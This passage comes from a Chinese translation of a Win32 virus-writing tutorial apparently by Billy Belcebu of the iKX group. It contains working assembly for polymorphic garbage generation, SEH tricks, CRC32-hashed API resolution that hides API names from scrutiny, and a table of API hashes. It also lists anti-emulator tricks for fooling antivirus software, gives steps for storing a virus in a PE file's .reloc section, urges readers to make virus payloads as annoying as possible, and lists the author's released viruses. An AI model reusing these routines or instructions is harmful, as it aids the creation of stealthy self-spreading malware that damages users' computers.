cmp byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion
jae GarbageExit ; level here!
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
GarbageExit:
dec byte ptr [ebp+recursion_level]
ret
所以,我们的引擎将能产生巨大数量的充满这种CALL的垃圾代码;)当然了,这个还可以在PUSH和POP间利用:)
%最后的话%
~~~~~~~~~~
多态性决定了编码,所以我不更多的讨论了。你应该自己做一个而不是复制代码。只要不是对经典引擎用一种类型的简单加密操作,和非常基础的垃圾如MOV,等等。使用你可以想到的所有主意。例如,有许多类型的CALL可做:3种风格(正如我以前描述的),此外,你可以建立堆栈结构,PUSHAD/POPAD,通过PUSH(然后是一个 RET x)来传送参数,还有更多的。要有想象力!
【高级Win32 技术】
~~~~~~~~~~~~~~~~~~
在这一章,我将讨论一些那些不需要一整章来讨论的技术,但是,不是很容易忘记的:)所以,下面我将讨论这些东西:
- Structured Exception Handler(SEH)
- MultiThreading(多线程)
- CRC32 (IT/ET)
- AntiEmulators(反模拟)
- Overwriting .reloc section(写.reloc节)
% Structured Exception Handler %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
结构化异常处理(Structured Exception Handler),简称SEH,是所有Win32环境的一个非常酷的特点。它所做的非常容易理解:如果一个一般保护错误(简称GPF)发生了,控制会自动传到当前存在的SEH handler。你看到了它的辅助作用了吗?如果你把所有东西弄乱了,你将能够(仍然能)保持你的病毒没法被发现:)指向SEH handler的指针是在FS:[0000]中的。所以,你可以很容易地设置你自己的新SEH handler(但是要记住保存旧的!)如果一个错误发生了,控制将会传给你的SEH handler例程,但是堆栈将会混乱。幸运的是,Micro$oft已经在设置我们的SEH handler之前把堆栈放到ESP+8的地方了:)所以,简单的我们只要恢复它并把旧的SEH handler设置回去就可以了:)让我们看看一个SEH使用的一个简单例子:
;--------从这里开始剪切-------------------------------------------------------
.386p
.model flat ; Good good... 32 bit r0x0r
extrn MessageBoxA:PROC ; Defined APIs
extrn ExitProcess:PROC
.data
szTitle db "Structured Exception Handler [SEH]",0
szMessage db "Intercepted General Protection Fault!",0
.code
start:
push offset exception_handler ; Push our exception handler
; offset
push dword ptr fs:[0000h] ;
mov dword ptr fs:[0000h],esp
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
pop dword ptr fs:[0000h] ; Restore old SEH handler
push 1010h ; Parameters for MessageBoxA
push offset szTitle
push offset szMessage
push 00h
call MessageBoxA ; Show message :]
push 00h
call ExitProcess ; Exit Application
setupSEH:
xor eax,eax ; Generate an exception
div eax
end start
;--------到这里为止剪切---------------------------
正如在"Win32反调试"那一章所看到的,除此之外SEH还有另外一个特色:)它愚弄了大多数应用级的调试器。为了使你的设置一个新的SEH handler更简单,这里你可以用一些宏来做做这个(hi,Jacky!):
; Put SEH - Sets a new SEH handler
pseh macro what2do
local @@over_seh_handler
call @@over_seh_handler
mov esp,[esp+08h]
what2do
@@over_seh_handler:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm
; Restore SEH - Restore old SEH handler
rseh macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm
它的用法非常简单。例如:
pseh <jmp SEH_handler>
div edx
push 00h
call ExitProcess
SEH_handler:
rseh
[...]
下面的代码,如果执行了,将会在'rseh'宏之后继续,而不是终止进程。清楚了吗?:)
%多线程%
~~~~~~~~
当我被告知这个可以在Win32环境很容易实现的时候,在我的脑海中的是许多它的用处:执行代码而其它的代码(也是我们病毒的)也在执行是一个美梦,因为你节约了时间:)
一个多任务的过程的主要算法是:
1.创建你想要运行的相关线程的代码
2.在父进程的代码中等待子进程结束
这个看起来很难,但是有两个API可以救我们。它们的名字:CreateThread 和 WaitForSingleObject。让我们看看Win32 API列表关于这两个API是怎么说的...
----------------------------------------
CreateThread函数在调用进程的地址空间中创建一个线程执行。
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // ptr to thread security attrs
DWORD dwStackSize, // initial thread stack size, in bytes
LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread function
LPVOID lpParameter, // argument for new thread
DWORD dwCreationFlags, // creation flags
LPDWORD lpThreadId // pointer to returned thread identifier
);
参数
====
?lpThreadAttributes:指向一个确定返回句柄可以由子进程继承的SECURITY_ATTRIBUTES结构。如果lpThreadAttributes是NULL,这个句柄不 能被继承。
Windows NT: 这个结构的lpSecurityDescriptor成员指定新线程的安全描述。如果lpThreadAttributes是NULL,这个线程获得一个缺省安全 描述。
Windows 95: 这个结构的lpSecurityDescriptor成员被忽略了。
?dwStackSize: 以字节数指定新线程的堆栈大小。如果指定了0,堆栈的大小缺省的和进程的主线程的堆栈大小一样。堆栈是在进程的内存空 间中自动开辟的,并在线程终止的时候释放。注意如果需要的话,堆栈大小会增加。CreateThread试图把由dwStackSize指定 的大小提交字节数,如果大小超过了可利用的内存的话,就会失败。
?lpStartAddress:新线程的开始地址。这个通常是一个用WINAPI调用惯例声明的函数,这个函数接受一个32-bit的指针的参数,并返回一个32-bit的退出码。它的原型是:
DWORD WINAPI ThreadFunc( LPVOID );
?lpParameter: 指定一个传给线程的32-bit的参数。
?dwCreationFlags:指定控制线程创建的额外标志。如果CREATE_SUSPENDED标志被指定了,线程将以一个挂起状态创建,除非ResumeThread函数调用,将不会运行。如果这个值是0,线程在创建之后立即运行。这次,没有其它的支持的值。
?lpThreadId: 指向一个接受线程标志的32bit变量。
返回值
======
?如果函数成功了,返回值是一个新线程的句柄。
?如果函数失败了,返回值是NULL。为了获得详细的错误信息,调用GetLastError。
Windows 95: CreateThread仅仅是在一个32-bit的上下文中的时候才成功。一个32-bit DLL不能创建一个额外的线程,当那个DLL正在被一个16-bit程序调用的时候。
----------------------------------------
WaitForSingleObject函数当如下的情况发生的时候返回:
?指定的对象在signaled状态。
?过期间隔逝去了。
DWORD WaitForSingleObject(
HANDLE hHandle, // handle of object to wait for
DWORD dwMilliseconds // time-out interval in milliseconds
);
参数
====
?hHandle:识别对象。对一个对象类型的列表,它的句柄可以指定,看看接下来的评论。
Windows NT:句柄必须有SYNCHRONIZE访问。想知道更多的信息,看看Access Masks and Access Rights(访问标志和访问权限)。
?dwMilliseconds: 指定过期间隔,以毫秒形式。如果间隔过了,甚至对象的状态是nonsignaled,这个函数就返回。如果dwMilliseconds是0,这个函数就测试对象的状态并立即返回。如果dwMilliseconds是INFINITE这个函数从不会过期。
返回值
======
?如果函数成功了,返回值表明了导致函数返回的事件。
?如果函数失败了,返回值是WAIT_FAILED。为了获得详细的错误信息,调用GetLastError。
----------------------------------------
如果这个对你来说还不够,或者你不懂试图解释给你听的子句的话,下面给出一个多线程的ASM例子。
;-------从这里开始剪切------------------------------------------------------
.586p
.model flat
extrn CreateThread:PROC
extrn WaitForSingleObject:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
tit1 db "Parent Process",0
msg1 db "Spread your wings and fly away...",0
tit2 db "Child Process",0
msg2 db "Billy's awesome bullshit!",0
lpParameter dd 00000000h
lpThreadId dd 00000000h
.code
multitask:
push offset lpThreadId ; lpThreadId
push 00h ; dwCreationFlags
push offset lpParameter ; lpParameter
push offset child_process ; lpStartAddress
push 00h ; dwStackSize
push 00h ; lpThreadAttributes
call CreateThread
; EAX = Thread handle
push 00h ; 'Parent Process' blah blah
push offset tit1
push offset msg1
push 00h
call MessageBoxA
push 0FFh ; Wait infinite seconds
push eax ; Handle to wait (thread)
call WaitForSingleObject
push 00h ; Exit program
call ExitProcess
child_process:
push 00h ; 'Child Process' blah blah
push offset tit2
push offset msg2
push 00h
call MessageBoxA
ret
end multitask
;-------到这里为止剪切------------------------------------------------------
如果你测试上述代码,你将会发现,如果你单击了在子进程中的'Accept'按钮,那么你将不得不去单击在父进程中的'Accept'按钮。是不是很有意思呀?如果父进程死了,所有相关的线程和它一起死了,但是不过子进程死了,父进程还仍然存活者。
所以看到你可以通过父进程和子进程通过WaitForSingleObject控制两个进程相当有趣。想象一下可能性:在目录里搜索一个特定文件(如MIRC.INI)同时你在产生一个多态解密程序,并解包余下的东西...哇! ;)
看看Benny的关于Threads 和 Fibers (29A#4)的教程。
% CRC32 (IT/ET) %
~~~~~~~~~~~~~~~~~~~
好了,我们都知道(我希望是这样)怎么编写一个API搜索引擎...它相当简单,而且你有许多教程选择(JHB的, Lord Julus的,和这篇教程...),只要得到一个,并学习它。但是,正如你意识到的,API地址占(让我们说浪费)了你的病毒的许多字节。如果你想要编写一个小病毒,该怎么解决这个问题呢?
解决方法:CRC32
我相信GriYo是第一个使用这个技术的人,在它的令人印象深刻的 Win32.Parvo病毒中(源代码还没有公布)。它不是搜索一个确定数量和我们代码中API名字相符的字节,而是获得所有的API名,一个接一个,并得到它们的CRC32值,把它和我们搜索的API的CRC32值。如果它是等价的,那么我们必须总是要处理。Ok,ok...首先,你需要一些获取CRC32值的代码:)让我们用Zhengxi的代码,首先由Vecna重新组合了,最终由我重新组合了(优化了一些字节) ;)
;------从这里开始剪切--------------------------------------------------------
;
; CRC32 procedure
; ===============
;
; input:
; ESI = Offset where code to calculate begins
; EDI = Size of that code
; output:
; EAX = CRC32 of given code
;
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
;------到这里为止剪切--------------------------------------------------------
我们现在知道怎么获得一个指定的字符串或代码的CRC32值了,但是在这里你在期望另外一件事情...呵呵呵,耶!你在等待API搜索引擎的代码 :)
;------从这里开始剪切--------------------------------------------------------
;
; GetAPI_ET_CRC32 procedure
; =========================
; 呵,很难的名字?这个函数在KERNEL32的输出表中搜索一个API名字(改变一点点将会
; 使它对任何DLL有用),但是仅仅需要API的CRC32值,不是全字符串:)还需要一个就像
; 我在上面给出的获取CRC32的例程。
;
; input:
; EAX = CRC32 of the API ASCIIz name
; output:
; EAX = API address
;
GetAPI_ET_CRC32 proc
xor edx,edx
xchg eax,edx ; Put CRC32 of da api in EDX
mov word ptr [ebp+Counter],ax ; Reset counter
mov esi,3Ch
add esi,[ebp+kernel] ; Get PE header of KERNEL32
lodsw
add eax,[ebp+kernel] ; Normalize
mov esi,[eax+78h] ; Get a pointer to its
add esi,1Ch ; Export Table
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+kernel] ; Normalize
stosd ; And store in its variable
lodsd ; Get NameTable value
add eax,[ebp+kernel] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable
lodsd ; Get OrdinalTable value
add eax,[ebp+kernel] ; Normalize
stosd ; Store
pop esi ; ESI = NameTable VA
@?_3: push esi ; Save again
lodsd ; Get pointer to an API name
add eax,[ebp+kernel] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX
push edi ; Save EDI
xor al,al ; Reach the null character
scasb ; that marks us the end of
jnz $-1 ; the api name
pop esi ; ESI = Pointer to API Name
sub edi,ebx ; EDI = API Name size
push edx ; Save API's CRC32
call CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it
pop esi ; Restore ptr to api name
add esi,4 ; Get the next
inc word ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
movzx eax,word ptr [ebp+Counter] ; AX = Counter
shl eax,1 ; *2 (it's an array of words)
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
shl eax,2 ; And with it we go to the
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+kernel] ; and normalize!! That's it!
ret
GetAPI_ET_CRC32 endp
AddressTableVA dd 00000000h ;/
NameTableVA dd 00000000h ; > IN THIS ORDER!!
OrdinalTableVA dd 00000000h ;/
kernel dd 0BFF70000h ; Adapt it to your needs ;)
Counter dw 0000h
;------到这里为止剪切--------------------------------------------------------
下面是等价的代码,但是现在为了操作Import Table,因此使得你能够仅仅用这些API的CRC32就可以编一个Per-Process驻留病毒;)
;------从这里开始剪切--------------------------------------------------------
;
; GetAPI_IT_CRC32 procedure
; =========================
;
; 这个函数将在Import Table中搜索和传给例程的CRC32值相符的API。这个对编写一个
; Per-Process驻留病毒有用(看看这篇教程的"Per-Process residence"一章)。
;
; input:
; EAX = CRC32 of the API ASCIIz name
; output:
; EAX = API address
; EBX = Pointer to the API address in the Import Table
; CF = Set if routine failed
;
GetAPI_IT_CRC32 proc
mov dword ptr [ebp+TempGA_IT1],eax ; Save API CRC32 for later
mov esi,dword ptr [ebp+imagebase] ; ESI = imagebase
add esi,3Ch ; Get ptr to PE header
lodsw ; AX = That pointer
cwde ; Clear MSW of EAX
add eax,dword ptr [ebp+imagebase] ; Normalize pointer
xchg esi,eax ; ESI = Such pointer
lodsd ; Get DWORD
cmp eax,"EP" ; Is there the PE mark?
jnz nopes ; Fail... duh!
add esi,7Ch ; ESI = PE header+80h
lodsd ; Look for .idata
push eax
lodsd ; Get size
mov ecx,eax
pop esi
add esi,dword ptr [ebp+imagebase] ; Normalize
SearchK32:
push esi ; Save ESI in stack
mov esi,[esi+0Ch] ; ESI = Ptr to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to 'KERNEL32.dll'
mov ecx,K32_Size ; Size of string
cld ; Clear direction flag
push ecx ; Save ECX
rep cmpsb ; Compare bytes
pop ecx ; Restore ECX
pop esi ; Restore ESI
jz gotcha ; Was it equal? Damn...
add esi,14h ; Get another field
jmp SearchK32 ; And search again
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; Damn if so...
mov edx,[esi+10h] ; Get FirstThunk
add edx,dword ptr [ebp+imagebase] ; Normalize
lodsd ; Get it
or eax,eax ; Is it 0?
jz nopes ; Damn...
xchg edx,eax ; Get pointer to it
add edx,[ebp+imagebase]
xor ebx,ebx
loopy:
cmp dword ptr [edx+00h],00h ; Last RVA?
jz nopes ; Damn...
cmp byte ptr [edx+03h],80h ; Ordinal?
jz reloop ; Damn...
mov edi,[edx] ; Get pointer of an imported
add edi,dword ptr [ebp+imagebase] ; API
inc edi
inc edi
mov esi,edi ; ESI = EDI
pushad ; Save all regs
eosz_edi ; Get end of string in EDI
sub edi,esi ; EDI = API size
call CRC32
mov [esp+18h],eax ; Result in ECX after POPAD
popad
cmp dword ptr [ebp+TempGA_IT1],ecx ; Is the CRC32 of this API
jz wegotit ; equal as the one we want?
reloop:
inc ebx ; If not, loop and search for
add edx,4 ; another API in the IT
loop loopy
wegotit:
shl ebx,2 ; Multiply per 4
add ebx,eax ; Add FirstThunk
mov eax,[ebx] ; EAX = API address
test al,00h ; Overlap: avoid STC :)
org $-1
nopes:
stc
ret
GetAPI_IT_CRC32 endp
TempGA_IT1 dd 00000000h
imagebase dd 00400000h
K32_DLL db "KERNEL32.dll",0
K32_Size equ $-offset K32_DLL
;------到这里为止剪切--------------------------------------------------------
Happy?耶,它令人震惊而且它很简单!而且,毫无疑问,如果你的病毒没有加密,你可以避免使用者的怀疑,因为没有明显的API名字:)好了,我将列出一些API的CRC32值(包括API结束的NULL字符),但是,如果你想要使用其它的API而不是我将要列在这里的API,我将再放一个小程序,能给你一个ASCII字符串的CRC32值。
一些API的CRC32:
API name CRC32 API name CRC32
-------- ----- -------- -----
CreateFileA 08C892DDFh CloseHandle 068624A9Dh
FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h
FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch
GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh
MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h
GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h
ExitProcess 040F57181h SetFilePointer 085859D42h
SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh
GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh
GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh
LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h
CreateThread 019F33607h WaitForSingleObject 0D4540229h
ExitThread 0058F9201h GetTickCount 0613FD7BAh
FreeLibrary 0AFDF191Fh WriteFile 021777793h
GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah
GetFileSize 0EF7D811Bh ReadFile 054D8615Ah
GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h
SetPriorityClass 0C38969C7h FindWindowA 085AB3323h
PostMessageA 086678A04h MessageBoxA 0D8556CF7h
RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h
MoveFileA 02308923Fh CopyFileA 05BD05DB1h
GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh
CreateProcessA 0267E0B05h _lopen 0F2F886E3h
MoveFileExA 03BE43958h CopyFileExA 0953F2B64h
OpenFile 068D8FC46h
你还想要其它的API吗?
你有可能需要知道其它API名字的CRC32值,所以这里我将给出小而有效的用来帮助我自己的程序,我希望对你也有帮助。
;------从这里开始剪切--------------------------------------------------------
.586
.model flat
.data
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
extrn GetCommandLineA:PROC
titulo db "GetCRC32 by Billy Belcebu/iKX",0
message db "SetEndOfFile" ; Put here the string you
; want to know its CRC32
_ db 0
db "CRC32 is "
crc32_ db "00000000",0
.code
test:
mov edi,_-message
lea esi,message ; Load pointer to API name
call CRC32 ; Get its CRC32
lea edi,crc32_ ; Transform hex to text
call HexWrite32
mov _," " ; make 0 to be an space
push 00000000h ; Display message box with
push offset titulo ; the API name and its CRC32
push offset message
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess
HexWrite8 proc ; This code has been taken
mov ah,al ; from the 1st generation
and al,0Fh ; host of Bizatch
shr ah,4
or ax,3030h
xchg al,ah
cmp ah,39h
ja @@4
@@1:
cmp al,39h
ja @@3
@@2:
stosw
ret
@@3:
sub al,30h
add al,'A' - 10
jmp @@2
@@4:
sub ah,30h
add ah,'A' - 10
jmp @@1
HexWrite8 endp
HexWrite16 proc
push ax
xchg al,ah
call HexWrite8
pop ax
call HexWrite8
ret
HexWrite16 endp
HexWrite32 proc
push eax
shr eax, 16
call HexWrite16
pop eax
call HexWrite16
ret
HexWrite32 endp
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
end test
;------到这里为止剪切--------------------------------------------------------
Cool,哈? :)
%反模拟(AntiEmulators)%
~~~~~~~~~~~~~~~~~~~~~~~
正如在这篇文档的许多地方,这个小章节是由Super和我合作的。这里将会有一些东西的列表,肯定会愚弄反病毒模拟系统的,一些小的调试器也不例外。Enjoy!
- 用SEH产生错误。例子:
pseh <jmp virus_code>
dec byte ptr [edx] ; <-- or another exception, such as 'div edx'
[...] <-- if we are here, we are being emulated!
virus_code:
rseh
[...] <-- the virus code :)
- 使用 CS 段前缀。 例子:
jmp cs:[shit]
call cs:[shit]
- 使用 RETF。例子:
push cs
call shit
retf
- 玩玩 DS. 例子:
push ds
pop eax
或者甚至更好:
push ds
pop ax
或者更好:
mov eax,ds
push eax
pop ds
- 用 PUSH CS/POP REG 招检测 NODiCE 模拟 :
mov ebx,esp
push cs
pop eax
cmp esp,ebx
jne nod_ice_detected
- 使用无正式文档的操作码:
salc ; db 0D6h
bpice ; db 0F1h
- 使用 Threads and/or Fibers.
我希望所有这些东西将对你有用 :)
% 写.reloc 节 %
~~~~~~~~~~~~~~~~~~~
这是一个非常有意思的东西。如果PE文件的ImageBase因为某种原因改变了,但是不是总会发生的(99.9%),'.reloc'就非常有用了,但不是必须的。而且'.reloc'节通常非常巨大,所以为什么不使用它来存储我们的病毒呢?我建议你读读b0z0在Xine#3上的教程,叫做"Ideas and theoryes on PE infection",因为它提供给我们许多有意思的信息。好了,如果你想知道该怎样写.reloc节的话,只要按照如下:
+ 在节头中:
1. 把病毒的大小+它的堆赋给新的VirtualSize
2. 把对齐后的VirtualSize赋给新的SizeOfRawData
3. 清除 PointerToRelocations 和 NumberOfRelocations
4. 改变 .reloc 名字为另外一个
+ 在PE头中:
1. 清除 offset A0h (RVA to fixup table)
2. 清除 offset A4h (Size of such table)
病毒的入口将会是节的VirtualAddress。它还有时候,隐蔽的(stealthy),因为有时候大小不增长(在不是很大的病毒中),因为relocs通常非常巨大。
【附录1:发作】
因为我们是在一个图形化的操作系统下工作的,我们的的发作可以更加令人印象深刻。毫无疑问,我不愿更多的象CIH和Kriz病毒那样的发作。只要看看Marburg,HPS,Sexy2,Hatred,PoshKiller,Harrier,和许多其它的病毒。它们真正令人震惊。当然了,还要看看有着多个发作的病毒,如Girigat和Thorin.
只要想想,除非你给用户显示你的发作,用户是不会注意病毒的存在的。所以,你将要给出的情形是你工作的结晶。如果你的发作太垃圾了,你的病毒看起来也会很垃圾:)
有许多事情可做:你可以改掉墙纸,你可以改掉字符串(就象我的Legacy),你可以给他显示主页,你可以在Ring-0下做些幽雅的东西(就象Sexy2和PoshKiller),等等。只要对一些Win32 API研究一下。试着把发作编得越恼人越好:)
【附录2:关于作者】
嗨:)我把这一节给了我自己。你可以说我自私,自大,或者hipocrite(【译者注】没见过这个词)。我知道我并不是这样的:)我只是想让你知道在这篇教程里试着教给你东西的人。我(仍然)是一个16岁的西班牙人。而且我有自己的世界观,我有自己的政治主见,我有信念,我想我们可以做些事情来拯救当今的病态的社会。我不愿生活在生活中充斥着钱的地方(任何生活形式,如,人类,动物,蔬菜...),民主被政府的人曲解了(这不仅仅是西班牙的问题,在许多大国也存在,如USA,UK,Frace,等等)。民主(我想共产主义会更好,但是如果没有比民主更好的东西...)必需使得国家的居民能够选择他们的未来。哎,我厌倦在我快要发布的东西里写这个了。看起来象在谈论一堵墙:)
OK,ok,我将谈一点我的作品。我是如下病毒(直到现在)的编写者:
+ 在DDT时,
- Antichrist Superstar [ Never released to the public ]
- Win9x.Garaipena [ AVP: Win95.Gara ]
- Win9x.Iced Earth [ AVP: Win95.Iced.1617 ]
+ 在iKX时,
- Win32.Aztec v1.00, v1.01 [ AVP: Win95.Iced.1412 ]
- Win32.Paradise v1.00 [ AVP: Win95.Iced.2112 ]
- Win9x.PoshKiller v1.00
- Win32.Thorin v1.00
- Win32.Legacy v1.00
- Win9x.Molly
- Win32.Rhapsody
还有, 从下面的变异引擎:
- LSCE v1.00 [Little Shitty Compression Engine]
- THME v1.00 [The Hobbit Mutation Engine]
- MMXE v1.00, v1.01 [MultiMedia eXtensions Engine]
- PHIRE v1.00 [Polymorphic Header Idiot Random Engine]
- iENC v1.00 [Internal ENCryptor]
而且我已经写了不少教程了,但是我不在这里列举了:)
现在,我是iKX组织的一个成员。正如你知道的,iKX代表International Knowledge eXchange。在过去,我是DDT的建立者。我称自己是反法西斯主义者,人类权利的保护者,反战主义者,而且对那些虐待妇女和儿童的家伙非常痛恨。我只是对自己有信心,我没有任何宗教信仰。
对我来说另外一件重要的事情(除了朋友)是音乐。在写这些东西的时候,我一直在听着音乐:)
想要更多的知道我和我的作品,看看我的主页。
【结束语】
~~~~~~~~~~
好了,另外一篇教程到它的结尾了...在某些方面它有点罗嗦(嗨,我是人,我更愿意编码而不是写作),但是在我的脑海中总是在希望一些人在读它的时候有一些想法。正如我在介绍里所说的,这里我所列出来的几乎所有代码都是我自己写的(不象我的DOS VWGs)。我希望它对你有帮助。
我知道我没有涉及一些东西,如加一个新节的隐藏方法,或者"调用门"技术或者"VMM 插入"以进入Ring-0。我只是努力使这篇教程简单。现在你必须判断这是否是一个正确的选择。时间将会证明一切。
这篇文档献给那些从我迈出Win32编码第一步起帮助过我的人:zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah,Benny, Jacky Qwerty(不知不觉的帮助,无论如何...),Lord Julus(是的,我也是从他的教程学的!), StarZer0,和许多其他人。当然了,还需要问候的人是are Int13h, Owl, VirusBuster, Wintermute, Somniun,SeptiC, TechnoPhunk, SlageHammer,还有,毫无疑问,我热爱的读者。这是为你们写的!